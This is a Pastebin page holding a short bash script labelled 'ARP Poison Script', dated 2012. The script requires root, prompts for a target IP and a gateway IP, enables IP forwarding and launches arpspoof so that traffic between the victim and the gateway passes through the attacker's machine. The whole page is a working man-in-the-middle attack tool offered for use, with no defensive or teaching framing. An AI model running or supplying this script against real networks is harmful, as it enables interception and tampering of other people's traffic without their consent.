Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- niccard=eth1
- if [[ $EUID -ne 0 ]]; then
- echo -e "\n\t\t\t33[1m 33[31m Script must be run as root! 33[0m \n"
- echo -e "\t\t\t Example: sudo $0 \n"
- exit 1
- else
- echo -e "\n33[1;32m#######################################"
- echo -e "# ARP Poison Script #"
- echo -e "#######################################"
- echo -e " 33[1;31mCoded By:33[0m Travis Phillips"
- echo -e " 33[1;31mDate Released:33[0m 03/27/2012"
- echo -e " 33[1;31mWebsite:33[0m http://theunl33t.blogspot.com\n33[0m"
- echo -n "Please enter target's IP: "
- read victimIP
- echo -n "Please enter Gateway's IP: "
- read gatewayIP
- echo -e "\n\t\t ---===[Time to Pwn]===---\n\n\n"
- echo -e "\t\t--==[Targets]==--"
- echo -e "\t\tTarget: $victimIP"
- echo -e "\t\tGateway: $gatewayIP \n\n"
- echo -e "[*] Enabling IP Forwarding \n"
- echo "1" > /proc/sys/net/ipv4/ip_forward
- echo -e "[*] Starting ARP Poisoning between $victimIP and $gatewayIP! \n"
- xterm -e "arpspoof -i $niccard -t $victimIP $gatewayIP" &
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement